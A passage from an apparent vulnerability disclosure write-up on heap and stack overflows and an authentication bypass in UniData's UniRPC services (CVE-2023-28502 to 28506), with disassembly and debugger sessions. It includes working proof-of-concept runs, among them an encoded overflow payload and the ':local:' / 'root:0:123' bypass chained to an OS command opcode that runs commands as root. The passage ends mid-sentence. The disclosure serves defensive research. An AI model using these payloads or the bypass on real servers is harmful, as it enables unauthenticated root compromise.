.text:000000000040758A B8 70 3C 01 00      mov     eax, UNIRPC_ERROR_BAD_RPC_PARAMETER
.text:000000000040758F 85 FF               test    edi, edi
.text:0000000000407591 0F 8E B0 FE FF FF   jle     return_eax      ; Fail if the length is negative

In that code, the body length is read into the eax register, then validated to ensure it’s not negative — the jle opcode jumps if it’s less than or equal to zero. If it’s negative, it returns the error that we called UNIRPC_ERROR_BAD_RPC_PARAMETER.

A bit later, the following code executes:

.text:000000000040761A 8B 44 24 08         mov     eax, dword ptr [rsp+88h+len] ; Read the 'size' back into eax
.text:000000000040761E 83 C0 17            add     eax, 17h        ; Add 0x17 (23) to the length - this can overflow and go negative!
.text:0000000000407621 3B 05 35 27 24 00   cmp     eax, cs:uvrpc_readbufsiz ; Compare to the size of uvrpc_readbufsiz (0x2018 by default)
.text:0000000000407627 0F 8D 3F 02 00 00   jge     expand_read_buf_size ; Jump if we need to expand the buffer

In that snippet, the server adds 0x17 (23) to the length value from earlier and compares it against the global variable uvrpc_readbufsiz, which is 0x2018 (8216) by default. If the length is less than 0x2018, no additional memory is allocated for the buffer. If we chose a very large (but positive) value such as 0x7FFFFFFF, adding 0x17 to it will overflow the integer and the resulting value (0x80000016) is negative (in two’s complement, 32-bit values from 0x80000000 to 0xFFFFFFFF are negative). Because a negative value is technically below 0x2018, no additional memory is allocated and the 0x2018-byte buffer is used as-is.

Finally, this code runs to receive the body of the RPC message:

.text:0000000000407631 44 8B 74 24 08     mov     r14d, dword ptr [rsp+88h+len] ; Read the length from the stack
[...]
.text:000000000040768F 44 89 F1           mov     ecx, r14d       ; max_length = len
.text:0000000000407692 E8 09 E6 FF FF     call    uvrpc_readn     ; Receive up to `max_length`

If we put a breakpoint on recv and execute the proof of concept, we can see the recv function trying to receive way too much data into a buffer:

[ron@unidata bin]$ sudo gdb --args ./unirpcd-oneshot -p12345 -d9

(gdb) b recv
Breakpoint 1 at 0x402a40

(gdb) run
Starting program: /home/ron/unidata/unidata/bin/./unirpcd-oneshot -p12345 -d9
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
RPCPID=78590 - 18:19:56 - uvrpc_debugflag=9 (Debugging level)
RPCPID=78590 - 18:19:56 - portno=12345
RPCPID=78590 - 18:19:56 - res->ai_family=10, ai_socktype=1, ai_protocol=6

[... run the proof-of-concept script here ...]

RPCPID=78590 - 18:19:58 - Accepted socket is from (IP number) '::ffff:10.0.0.179'
RPCPID=78590 - 18:19:58 - accept: forking

Breakpoint 1, __libc_recv (fd=8, buf=0x67d330, n=8216, flags=0) at ../sysdeps/unix/sysv/linux/x86_64/recv.c:28
28	 if (SINGLE_THREAD_P)
(gdb) cont
Continuing.

Breakpoint 1, __libc_recv (fd=8, buf=0x67f348, n=2147475455, flags=0) at ../sysdeps/unix/sysv/linux/x86_64/recv.c:28
28	 if (SINGLE_THREAD_P)
(gdb) cont

The n argument to __libc_recv is the important part of that snippet. The first time, it tries to receive up to 8216 bytes (that’s 0x2018 — the default buffer size). The second time, it attempts to read 2,147,475,455 (0x7FFFDFFF) bytes into a much smaller buffer. recv() will read as much data from the socket as it can, then return; that means that we can overflow the heap buffer exactly as much as we want to, there’s no need to send all 0x7FFFDFFF bytes.

This can overwrite other values on the heap, as well as heap metadata, which might lead to remote code execution. While our proof of concept stops short of remote code execution, we believe that this is very likely to be exploitable.

CVE-2023-28502: Pre-authentication stack buffer overflow in udadmin_server (username and password fields)

We discovered a pair of pre-authentication stack-based buffer overflows in the udadmin_server RPC service (accessed via the service name udadmin or udadmin82), which is exploitable to obtain unauthenticated remote code execution as the root user.

When a user connects to the udadmin_server service, they are required to send a message with up to three arguments:

  • An opcode (integer) of 0x0F (15)
  • A username (string)
  • An encoded password (string)

After receiving that message and validating that the opcode is correct, the service copies the username into a buffer using a strcpy-like function with no bounds checks (u2strcpy), then copies the password into another buffer using the same dangerous function. The password is then decoded using a function called rpcDecrypt().

Based on the compiled executable, the vulnerable code appears to be in the main function in the source file udadmin.c on lines 803 and 805. Here’s the code where the username is copied into a stack buffer:

.text:0000000000408AAC BF 01 00 00 00   mov     edi, 1          ; Argument index (1 = second argument = username)
.text:0000000000408AB1 E8 AA 41 00 00   call    getStringVal    ; Gets a pointer to the string value
.text:0000000000408AB6 48 85 C0         test    rax, rax
.text:0000000000408AB9 49 89 C4         mov     r12, rax        ; <-- r12 = username

[...]

.text:0000000000409098 4C 8D AC 24 30+  lea     r13, [rsp+428h+var_2F8] ; r13 = ptr to stack buffer
.text:0000000000409098 01 00 00
.text:00000000004090A0 48 8D 15 D0 75+  lea     rdx, udadmin_c  ; filename = "udadmin.c"
.text:00000000004090A0 02 00
.text:00000000004090A7 B9 23 03 00 00   mov     ecx, 323h       ; line = 803
.text:00000000004090AC 4C 89 E6         mov     rsi, r12        ; src = username
.text:00000000004090AF 4C 89 EF         mov     rdi, r13        ; dest = r13 = stack buffer
.text:00000000004090B2 E8 39 F1 FF FF   call    _u2strcpy       ; Stack overflow #1

That’s shortly followed by this code, where the password is copied into a stack buffer:

.text:00000000004090E0 BF 02 00 00 00   mov     edi, 2          ; Argument index (2 = second argument = password)

[...]

.text:00000000004090E7 4C 8D A4 24 70+  lea     r12, [rsp+428h+var_2B8] ; r12 = ptr stack buffer
.text:00000000004090E7 01 00 00
.text:00000000004090EF E8 6C 3B 00 00   call    getStringVal    ; Read the password

.text:00000000004090F4 48 8D 15 7C 75+  lea     rdx, udadmin_c  ; filename = "udadmin.c"
.text:00000000004090F4 02 00
.text:00000000004090FB B9 25 03 00 00   mov     ecx, 325h       ; line = 805
.text:0000000000409100 48 89 C6         mov     rsi, rax        ; src = password
.text:0000000000409103 4C 89 E7         mov     rdi, r12        ; dest = r12 = stack buffer
.text:0000000000409106 E8 E5 F0 FF FF   call    _u2strcpy       ; <-- Stack overflow #2

The password has an additional twist, because it’s encoded; the rpcEncrypt function decodes it:

.text:0000000000408B37 4C 89 E7         mov     rdi, r12        ; rdi = password
.text:0000000000408B3A E8 F1 41 00 00   call    rpcEncrypt      ; "Decode" the password by inverting bytes

Functionally, rpcEncrypt negates every byte in the password (binary 0 bits become 1, and 1 bits become 0).

Typically, strcpy()-based overflows are more difficult to exploit, because NUL (\0) bytes terminate strings. That means that including a 64-bit memory address or a ROP chain will fail, because all user-mode addresses are guaranteed to contain NUL bytes, which truncate the resulting string. However, because all bytes in the password string are negated after the strcpy() (using the rpcEncrypt() function), we CAN include NUL bytes. This behavior actually makes it much easier to exploit than it’d otherwise be, since now we only have to avoid bytes that are NUL bytes after negation (ie, 0xFF bytes).

We wrote a proof of concept for this issue that will execute an arbitrary shell command by returning into code that calls the system() function. For example, we can run a shell command that creates a file:

$ ruby ./udadmin_stackoverflow_password.rb 10.0.0.198 31438 'kill -TERM $PPID & touch /tmp/stackoverflowtest'
Connecting to 'udadmin' service:
Request:
{:args=>[{:type=>:string, :value=>"udadmin"}, {:type=>:integer, :value=>1337}]}

Response:
{:header=>
  "l\x01\x00\x00\x00\x00\x00\f\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00",
 :version_byte=>108,
 :other_version_byte=>1,
 :body_length=>12,
 :encryption_key=>2,
 :claim_compression=>0,
 :claim_encryption=>0,
 :argcount=>1,
 :data_length=>0,
 :args=>[{:type=>:integer, :value=>0, :extra=>1}]}

Request:
{:args=>
  [{:type=>:integer, :value=>15},
   {:type=>:string, :value=>"test"},
   {:type=>:string,
    :value=>
     "\xBE\xBE[......]\xBE\xBE\xDA\xD1\xBE\xFF\xFF\xFF\xFF\xFF\x94\x96\x93\x93\xDF\xD2\xAB\xBA\xAD\xB2\xDF\xDB\xAF\xAF\xB6\xBB\xDF\xD9\xDF\x8B\x90\x8A\x9C\x97\xDF\xD0\x8B\x92\x8F\xD0\x8C\x8B\x9E\x9C\x94\x90\x89\x9A\x8D\x99\x93\x90\x88\x8B\x9A\x8C\x8B"}]}

Response:
{:header=>
  "l\x01\x00\x02\x00\x00\x00\f\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00",
 :version_byte=>108,
 :other_version_byte=>1,
 :body_length=>12,
 :encryption_key=>2,
 :claim_compression=>0,
 :claim_encryption=>0,
 :argcount=>1,
 :data_length=>0,
 :args=>[{:type=>:integer, :value=>80011, :extra=>4}]}

Payload sent

Then we can verify that the file exists on the target (and is owned by root) to prove that the exploit ran:

[ron@unidata ~]$ ls -l /tmp/stackoverflowtest 
-rw-r--r--. 1 root root 0 Jan 17 14:00 /tmp/stackoverflowtest

We also wrote a Metasploit module to help organizations validate the impact of this issue.

CVE-2023-28503: Authentication bypass in libunirpc.so‘s do_log_on_user() function

We discovered an authentication bypass in the do_log_on_user() function in libunidata.so that permits a user to authenticate as any Linux user on the target service using a hard-coded username (:local:) and a deterministic password. This affects most of the services that UniData ships, and leads directly to shell command execution via the udadmin service. Additionally, it allows us to exploit several post-authentication vulnerabilities (detailed below) that would otherwise require a valid account to access.

To demonstrate this vulnerability, we chose the udadmin_server executable (accessed via RPC as the udadmin or udadmin82 service), as it permits authenticated users to execute operating system commands as part of its intended functionality. When a user connects to the udadmin_server service, they are required to send a message with up to three arguments:

  • An opcode (integer) of 0x0F (15)
  • A username (string)
  • An encoded password (string)

After copying the username and password into stack-based buffers, the password is decoded (by negating each byte), then the username and password field are passed into the impersonate_user function, which is in libunidata.so:

.text:0000000000408B57 48 8D 94 24 00+    lea     rdx, [rsp+428h+var_328] ; arg3
.text:0000000000408B57 01 00 00
.text:0000000000408B5F 4C 89 E6           mov     rsi, r12        ; password
.text:0000000000408B62 B9 01 00 00 00     mov     ecx, 1          ; arg4
.text:0000000000408B67 4C 89 EF           mov     rdi, r13        ; username
.text:0000000000408B6A C7 84 24 00 01+    mov     [rsp+428h+var_328], 0
.text:0000000000408B6A 00 00 00 00 00+
.text:0000000000408B6A 00
.text:0000000000408B75 E8 86 F2 FF FF     call    _impersonate_user ; <-- Validate the credentials
.text:0000000000408B7A 85 C0              test    eax, eax
.text:0000000000408B7C 41 89 C4           mov     r12d, eax
.text:0000000000408B7F 74 45              jz      short impersonate_successful ; <-- Jump if successful
.text:0000000000408B81 48 8B 3B           mov     rdi, [rbx]      ; stream
.text:0000000000408B84 48 8D 35 E6 7B+    lea     rsi, aLogonuserErrco ; "LogonUser: errcode=%d\n"

The impersonate_user function in libunidata.so is a thin wrapper around do_log_on_user (also found in libunidata.so). At the start of do_log_on_user, it compares the username to the string literal :local:, and jumps to standard PAM-based login code if it’s not a match (note that memory addresses of libunidata.so probably will not match yours, since it’s compiled as position-independent code and we manually set a base address based on where our lab machine loads the code):

.text:00007FFFF7312970 ; __int64 __usercall do_log_on_user@<rax>(char *username@<rdi>, char *password@<rsi>, int, int)
[...]
.text:00007FFFF7312985    lea     rdi, aLocal_1   ; ":local:"
.text:00007FFFF731298C    push    rbx
.text:00007FFFF731298D    mov     rbx, rsi
.text:00007FFFF7312990    mov     rsi, rbp
.text:00007FFFF7312993    sub     rsp, 10h
.text:00007FFFF7312997    repe cmpsb              ; compare "username" to ":local:"
.text:00007FFFF7312999    jnz     short username_not_local ; Jump if they aren't equal

If the username is :local:, the do_log_on_user function splits the password into three fields, using : as a delimiter (which, it turns out, are a username, a Linux user id, and a Linux group id). If the password doesn’t contain two colons, the login attempt fails:

.text:00007FFFF731299B    mov     esi, 3Ah ; ':'  ; c
.text:00007FFFF73129A0    mov     rdi, rbx        ; s
.text:00007FFFF73129A3    call    _strchr         ; Find the first ':'
.text:00007FFFF73129A8    test    rax, rax
.text:00007FFFF73129AB    jz      short return_error ; Return an error if the password doesn't have : in it
.text:00007FFFF73129AD    lea     rbp, [rax+1]    ; rbp = part 2 of password
.text:00007FFFF73129B1    mov     byte ptr [rax], 0
.text:00007FFFF73129B4    mov     esi, 3Ah ; ':'  ; c
.text:00007FFFF73129B9    mov     rdi, rbp        ; s
.text:00007FFFF73129BC    call    _strchr         ; Find the second ':'
.text:00007FFFF73129C1    test    rax, rax
.text:00007FFFF73129C4    jz      short return_error ; Jump if there's no second colon

If the string correctly has three colon-separated fields, the following code executes:

.text:00007FFFF7312A50 loc_7FFFF7312A50:                       ; CODE XREF: do_log_on_user+60↑j
.text:00007FFFF7312A50    test    rbp, rbp        ; Check the second part of the password
.text:00007FFFF7312A53    jz      return_error
.text:00007FFFF7312A59    xor     esi, esi        ; endptr
.text:00007FFFF7312A5B    mov     rdi, rbp        ; nptr
.text:00007FFFF7312A5E    mov     edx, 0Ah        ; base
.text:00007FFFF7312A63    call    _strtol         ; Convert the second field to an integer
.text:00007FFFF7312A63                            ; (the return value isn't checked, so 0 works)

.text:00007FFFF7312A68    xor     esi, esi        ; endptr
.text:00007FFFF7312A6A    mov     [r12], eax
.text:00007FFFF7312A6E    mov     edx, 0Ah        ; base
.text:00007FFFF7312A73    mov     rdi, r13        ; nptr
.text:00007FFFF7312A76    call    _strtol         ; Convert the third field to an integer
.text:00007FFFF7312A7B    test    eax, eax
.text:00007FFFF7312A7D    mov     rbp, rax
.text:00007FFFF7312A80    jz      return_error    ; Return value cannot be 0

.text:00007FFFF7312A86    mov     rdi, rbx        ; name
.text:00007FFFF7312A89    call    _getpwnam       ; Get the uid for the first field
.text:00007FFFF7312A8E    test    rax, rax
.text:00007FFFF7312A91    jz      return_error    ; The user must exist

.text:00007FFFF7312A97    mov     esi, [r12]
.text:00007FFFF7312A9B    cmp     [rax+10h], esi  ; Compare the uid retrieved by `getpwnam()` with the second field
.text:00007FFFF7312A9E    jnz     return_error    ; Jump if it's not equal

.text:00007FFFF7312AA4    xor     r8d, r8d
.text:00007FFFF7312AA7    mov     ecx, 1
.text:00007FFFF7312AAC    mov     edx, ebp        ; group
.text:00007FFFF7312AAE    mov     rdi, rbx        ; s2
.text:00007FFFF7312AB1    call    _briefReinit    ; Success!

In that code, the library converts the second and third colon-separated fields into integer values. Then it passes the first field (a string) into the getpwnam function, which looks up the username as a local Linux user. If that succeeds, it ensures that second field (an integer) matches the user’s user id (uid) value, then simply ensures that the third field, which will be treated as a group id, is non-zero.

In other words, the three colon-separated fields in the password are:

  1. A local username (such as root)
  2. The corresponding user id (such as 0)
  3. Any value that’s not 0 (which will be used as a group id when privileges are dropped)

For example, we can use the username :local: with password ron:1000:123 to authenticate as ron on my host, since ron‘s user id is 1000 and 123 is not 0. Alternatively, the username :local: with password root:0:123 will work on most Linux targets, as root usually has a user id of 0 and 123 is still not 0.

Once that check passes, _briefReinit is called with our user id and group id values. We didn’t look into the _briefReinit function, but we observed that it drops the process’s privileges to the provided user id and group id values to the ones the user sent, then returns a success code to whatever service is attempting to authorize the user.

From here, we chose the udadmin service as an example target. If we successfully authenticate to udadmin, we can call any of dozens of different functions, each identified by a particular opcode. We chose opcode 6, because it’s called OSCommand, which, as the name implies, will run a Linux shell command of the user’s choosing:

.text:000000000040B7D4                handle_opcode_6:                        ; CODE XREF: main+780↑j
.text:000000000040B7D4 48 8B 3B                       mov     rdi, [rbx]      ; stream
.text:000000000040B7D7 48 8D 35 15 50+                lea     rsi, aOpcodeOpcodeDO ; "OpCode: opcode=%d(OSCommand)\n"
.text:000000000040B7D7 02 00
.text:000000000040B7DE BA 06 00 00 00                 mov     edx, 6
.text:000000000040B7E3 31 C0                          xor     eax, eax
.text:000000000040B7E5 E8 16 17 00 00                 call    logMsg
.text:000000000040B7EA BF 01 00 00 00                 mov     edi, 1          ; Get the second parameter
.text:000000000040B7EF 31 C0                          xor     eax, eax
.text:000000000040B7F1 E8 6A 14 00 00                 call    getStringVal    ; Gets the second parameter as a string
.text:000000000040B7F6 48 89 C7                       mov     rdi, rax        ; Argument fromt he user
.text:000000000040B7F9 E8 C2 B8 00 00                 call    UDA_OSCommand   ; Wrapper around "system"
.text:000000000040B7FE E9 07 D5 FF FF                 jmp     loc_408D0A

We wrote a proof of concept that uses this bypass to authenticate as root, then uses OSCommand to execute a chosen command. Like the last vulnerability, we can use it to create a file:

$ ruby ./udadmin_authbypass_oscommand.rb 10.0.0.198 31438 'touch /tmp/authbypassdemo'
Connecting to 'udadmin' service:
Request:
{:args=>[{:type=>:string, :value=>"udadmin"}, {:type=>:integer, :value=>1337}]}

Response:
[...]

Request:
{:args=>
  [{:type=>:integer, :value=>15},
   {:type=>:string, :value=>":local:"},
   {:type=>:string, :value=>"\x8D\x90\x90\x8B\xC5\xCF\xC5\xCE\xCD\xCC"}]}

Response:
[...]

Request:
{:args=>
  [{:type=>:integer, :value=>6},
   {:type=>:string, :value=>"touch /tmp/authbypassdemo"}]}

Response:
[...]

Then verify that the file is created (and owned by root), and therefore that the command executed:

[ron@unidata ~]$ ls -l /tmp/authbypassdemo 
-rw-r--r--. 1 root 123 0 Jan 17 15:58 /tmp/authbypassdemo

We also wrote a Metasploit module to help organizations better understand the risk of this issue.

CVE-2023-28504: Pre-authentication stack buffer overflow in libunirpc.so‘s U_rep_rpc_server_submain() function

We discovered a stack buffer overflow in the function U_rep_rpc_server_submain() in libunidata.so. The overflow occurs when the username and password fields are copied into stack-based buffers using an insecure strcpy-like function (u2strcpy). The U_rep_rpc_server_submain function is used to authenticate users in multiple RPC services, which means it can be exploited through multiple RPC endpoints. If successfully exploited, an attacker can write arbitrary data to the stack, including the return address, leading to pre-authentication remote code execution as the root user.

The vulnerable function (U_rep_rpc_server_submain) is accessible by at least the following API endpoints:

  • repconn (accessed as rmconn82)
  • udsub (accessed as unirep82)

We created a proof of concept for both services — repconn_stackoverflow_password.rb and udsub_stackoverflow_password.rb respectively. These will both crash the process at a debug breakpoint, which demonstrates code execution (note that this payload will only work on the exact versions that we tested; other vulnerable versions will most likely crash with a segmentation fault).

This is the same basic vulnerability as the stack buffer overflow in udadmin_server discussed above (CVE-2023-28502), but in a library function instead of in the RPC service itself. Based on function arguments in the disassembled code, the vulnerable u2strcpy calls appear to be found in the source file rep_rpc.c on lines 693 and 694. Here is the vulnerable code from U_rep_rpc_server_submain() in libunidata.so (note that you’ll see different memory addresses than these, since the library is compiled as position-independent, and we chose a base address of where it happened to load in our lab):

.text:00007FFFF728EF68   call    _uvrpc_read_packet ; <-- Reads the login message (username/password)
.text:00007FFFF728EF6D   test    eax, eax
.text:00007FFFF728EF6F   jnz     loc_7FFFF728F025 ; Jump on fail

.text:00007FFFF728EF75   mov     rax, cs:conns
.text:00007FFFF728EF7C   mov     rsi, [rax+r12+0C230h] ; src
.text:00007FFFF728EF84   test    rsi, rsi
.text:00007FFFF728EF87   jz      loc_7FFFF728F02C

.text:00007FFFF728EF8D   lea     r14, [rsp+158h+username] ; <-- Stack buffer
.text:00007FFFF728EF92   lea     rdx, aRepRpcC   ; Source file = "rep_rpc.c"
.text:00007FFFF728EF99   mov     ecx, 2B5h       ; Line number = 0x2b5 (693)
.text:00007FFFF728EF9E   lea     r13, [rsp+158h+password] ; <-- Another stack buffer
.text:00007FFFF728EFA6   mov     rdi, r14        ; dest
.text:00007FFFF728EFA9   call    _u2strcpy       ; <-- Copy the username (stack overflow)

.text:00007FFFF728EFAE   mov     rax, cs:conns
.text:00007FFFF728EFB5   lea     rdx, aRepRpcC   ; Source file = "rep_rpc.c"
.text:00007FFFF728EFBC   mov     ecx, 2B6h       ; Line number = 0x2b6 (694)
.text:00007FFFF728EFC1   mov     rdi, r13        ; dest
.text:00007FFFF728EFC4   mov     rsi, [rax+r12+0C248h] ; src
.text:00007FFFF728EFCC   call    _u2strcpy       ; <-- Copy the password (stack overflow)

Like the vulnerability we documented in CVE-2023-28502, after being copied into a buffer the password is decoded by negating each byte (although this time the decoding code is inline instead of using rpcEncrypt()):

.text:00007FFFF728EFE0 top_negating_loop:                      ; CODE XREF: U_rep_rpc_server_submain+23E↓j
.text:00007FFFF728EFE0    not     edx             ; Negate the current byte
.text:00007FFFF728EFE2    add     rax, 1          ; Go to the next byte
.text:00007FFFF728EFE6    mov     [rax-1], dl     ; Write the negated byte back to the string
.text:00007FFFF728EFE9    movzx   edx, byte ptr [rax] ; Read the next byte
.text:00007FFFF728EFEC    test    dl, dl          ; Check if we've reached the end
.text:00007FFFF728EFEE    jnz     short top_negating_loop

Again, in most strcpy-like vulnerabilities, NUL bytes will truncate the payload, which makes exploitation much more difficult; however, due to this encoding, we actually can use NUL bytes. We wrote a proof of concept for the repconn service that will cause the application to crash at a debug breakpoint:

[ron@unidata bin]$ sudo gdb --args ./unirpcd-oneshot -p12345 -d9
(gdb) run
Starting program: /home/ron/unidata/unidata/bin/./unirpcd-oneshot -p12345 -d9

[...run the proof of concept in another window...]

RPCPID=13568 - 16:16:50 - looking for service rmconn82
RPCPID=13568 - 16:16:50 - Found service=rmconn82
RPCPID=13568 - 16:16:50 - Checking host: *
RPCPID=13568 - 16:16:50 - accept: execing /home/ron/unidata/unidata/bin/repconn
process 13568 is executing new program: /home/ron/unidata/unidata/bin/repconn
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".

Program received signal SIGTRAP, Trace/breakpoint trap.
0x0000000000401e70 in main ()

(gdb) x/i $rip-1
   0x401e6f <main+1343>:	int3

Similarly, the udsub proof of concept will also cause the application to crash at a debug breakpoint, although the address is slightly different:

[ron@unidata bin]$ sudo gdb --args ./unirpcd-oneshot -p12345 -d9
(gdb) run
Starting program: /home/ron/unidata/unidata/bin/./unirpcd-oneshot -p12345 -d9

[...run the proof of concept in another window...]

RPCPID=13733 - 16:19:41 - looking for service unirep82
RPCPID=13733 - 16:19:41 - Found service=unirep82
RPCPID=13733 - 16:19:41 - Checking host: *
RPCPID=13733 - 16:19:41 - accept: execing /home/ron/unidata/unidata/bin/udsub
process 13733 is executing new program: /home/ron/unidata/unidata/bin/udsub
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".

Program received signal SIGTRAP, Trace/breakpoint trap.
0x0000000000402b4c in main ()

(gdb) x/i $rip-1
   0x402b4b <main+2027>:	int3

CVE-2023-28505: Post-authentication buffer overflow in libunidata.so‘s U_get_string_value() function

We discovered a post-authentication buffer overflow in the U_get_string_value() function in libunidata.so, which is accessible through the RPC service unirep82. If successfully exploited, it leads to remote code execution as the authenticated user (combined with the authentication bypass in CVE-2023-28503, this is remotely exploitable as the root user without knowing a password).

The root cause is use of the u2strcpy() function, which is a wrapper around the standard strcpy() function. According to information in the compiled executable, the unsafe function usage is in the source file rep_rpc.c at line 464 (note that, like in other snippets from libunidata.so, your address will not line up with ours):

.text:00007FFFF728EBD0 ; int __fastcall U_get_string_value(int connection_id, char *buffer, int index)
[...]
.text:00007FFFF728EC08                 mov     r8, rsi
.text:00007FFFF728EC0B                 mov     rsi, [rdx+0C230h] ; src = third string in the packet
.text:00007FFFF728EC12                 test    rsi, rsi
.text:00007FFFF728EC15                 jz      short loc_7FFFF728EC40 ; Jump if the field is missing
.text:00007FFFF728EC17                 lea     rdx, aRepRpcC   ; filename = "rep_rpc.c"
.text:00007FFFF728EC1E                 sub     rsp, 8
.text:00007FFFF728EC22                 mov     ecx, 1D0h       ; line = 464
.text:00007FFFF728EC27                 mov     rdi, r8         ; dest = r8 = rsi = second function argument (buffer)
.text:00007FFFF728EC2A                 call    _u2strcpy       ; <-- Vulnerable strcpy

When a function calls U_get_string_value(), it passes in a buffer for the resulting string, but does not pass a length value. That buffer is passed into u2strcpy, which is also unbounded, and will overflow whichever buffer is passed into U_get_string_value(). The only RPC service we observed using that function was udsub (accessed via RPC as unirep82), which passes a stack-based buffer into the function.

In udsub, the main function calls U_sub_connect (in the udsub binary), which calls U_unpack_conn_package (in the libunidata.so library), which calls the vulnerable function U_get_string_value (also in the libunidata.so library). Here’s a stack trace to help clarify (unfortunately, we don’t have source file names or line numbers for any of these functions):


Breakpoint 2, 0x00007ffff728ebd0 in U_get_string_value () from /.udlibs82/libunidata.so
(gdb) bt
#0  0x00007ffff728ebd0 in U_get_string_value () from /.udlibs82/libunidata.so
#1  0x00007ffff7202259 in U_unpack_conn_package () from /.udlibs82/libunidata.so
#2  0x000000000040361f in U_sub_connect ()
#3  0x00000000004023ea in main ()

We wrote a proof of concept, udsub_stackoverflow_get_string_value.rb, which will overflow the buffer and crash the process while attempting to return from U_unpack_conn_package to the address 0x4242424242424242:

[ron@unidata bin]$ sudo gdb --args ./unirpcd-oneshot -p12345 -d9
(gdb) run
Starting program: /home/ron/unidata/unidata/bin/./unirpcd-oneshot -p12345 -d9
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".

[...run the proof of concept in another window...]

RPCPID=14678 - 16:37:31 - looking for service unirep82
RPCPID=14678 - 16:37:31 - Found service=unirep82
RPCPID=14678 - 16:37:31 - Checking host: *
RPCPID=14678 - 16:37:31 - accept: execing /home/ron/unidata/unidata/bin/udsub
process 14678 is executing new program: /home/ron/unidata/unidata/bin/udsub
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".

Program received signal SIGSEGV, Segmentation fault.
0x00007ffff72023fd in U_unpack_conn_package () from /.udlibs82/libunidata.so

(gdb) x/i $rip
=> 0x7ffff72023fd <U_unpack_conn_package+605>:	ret    

(gdb) x/xwg $rsp
0x7fffffffd558:	0x4242424242424242

Unlike the password-based overflows, we cannot use a NUL byte so we cannot reliably return to a useful address; however, more complex exploits are likely possible.

CVE-2023-28506: Post-authentication stack buffer overflow in udapi_slave

We found a post-authentication stack overflow in the udapi_slave binary, accessible through the udapi_server binary, which is accessed via the udcs service. Successfully exploiting this issue likely leads to remote code execution as the authenticated user. Due to the authentication bypass detailed in CVE-2023-28503, this is exploitable as the root user without knowing their password.

The udapi_slave binary is somewhat different from other services, because it’s not an RPC service; instead, it’s executed by an RPC service, which proxies the bodies of RPC requests with a different header. From a network perspective, it behaves identically to a standard UniRPC service, except that the messages are formatted a little bit differently internally.

The RPC message used to authenticate to udapi_serve (and therefore udapi_slave) has more fields than a typical authentication message that other services use. We documented the following fields (note that, as usual, names are usually guesswork):

  • (integer) comms_version — likely a version number, and used as part of password encoding
  • (integer) other_version — another version number, whose name we could not determine (but that only has a few valid values)
  • (string) username — this is processed slightly differently than usernames in other services, but the authentication bypass documented in CVE-2023-28503 still works, except that the username must be ::local: (an extra colon at the start)
  • (string) password — this is treated exactly like the password in other authentication messages, including the bypass documented in CVE-2023-28503
  • (string) account — an account name that’s passed into the change_account() function, which insecurely copies it into a buffer

The change_account() function, which appears to be in the file src/ud/udtapi/api_slave.c around line 1154, copies the account argument into a stack-based buffer using u2memcpy. It uses the length of the string, as provided by the user, but always copies the data into a 296-byte stack-based buffer. Additionally, because it uses memcpy and a user-defined size, NUL bytes are permitted and we can therefore use memory addresses as part of our proof of concept.

Here’s the vulnerable parts of the change_account() function:

.text:000000000040FC90 ; __int64 __fastcall change_account(int account_length, char *account)
[...]
.text:000000000040FC91                 lea     rcx, aDisk1AgentWork_0 ; filename = "/disk1/agent/workspace/ud_build/src/ud/"...
[...]
.text:000000000040FC9B                 mov     r8d, 482h       ; line = 1154
.text:000000000040FCA1                 mov     rdx, rbp        ; length - length of the user's `account` string
[...]
.text:000000000040FCAC                 lea     rbx, [rsp+138h+account_name_copy] ; 296-byte buffer
.text:000000000040FCB1                 mov     rdi, rbx        ; dst = 296-byte buffer
.text:000000000040FCB4                 call    _u2memcpy

We wrote a proof of concept in udapi_slave_stackoverflow_change_account.rb, which crashes the service at a debug breakpoint (assuming it’s the exact version we tested; otherwise, it will likely crash with a segmentation fault). Note that due to the fork, we have to set follow-fork-mode to child ingdb; otherwise, we won’t see the child process crash:

[ron@unidata bin]$ sudo gdb --args ./unirpcd-oneshot -p12345 -d9

[...]

(gdb) set follow-fork-mode child

(gdb) run

Starting program: /home/ron/unidata/unidata/bin/./unirpcd-oneshot -p12345 -d9
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".

[...run the proof of concept in another window...]

RPCPID=15389 - 16:50:43 - accept: execing /home/ron/unidata/unidata/bin/udapi_server
process 15389 is executing new program: /home/ron/unidata/unidata/bin/udapi_server
[...]
[Attaching after process 15394 fork to child process 15394]
[New inferior 2 (process 15394)]
[...]
process 15394 is executing new program: /home/ron/unidata/unidata/bin/udapi_slave
[...]

Program received signal SIGTRAP, Trace/breakpoint trap.
[Switching to Thread 0x7ffff7fe5780 (LWP 15394)]
0x00000000004007b1 in ?? ()

We can also skip all the RPC stuff by running udapi_slave directly and sending the payload on stdin (this will only work if you already have shell access to the service, so it’s not a useful exploit):

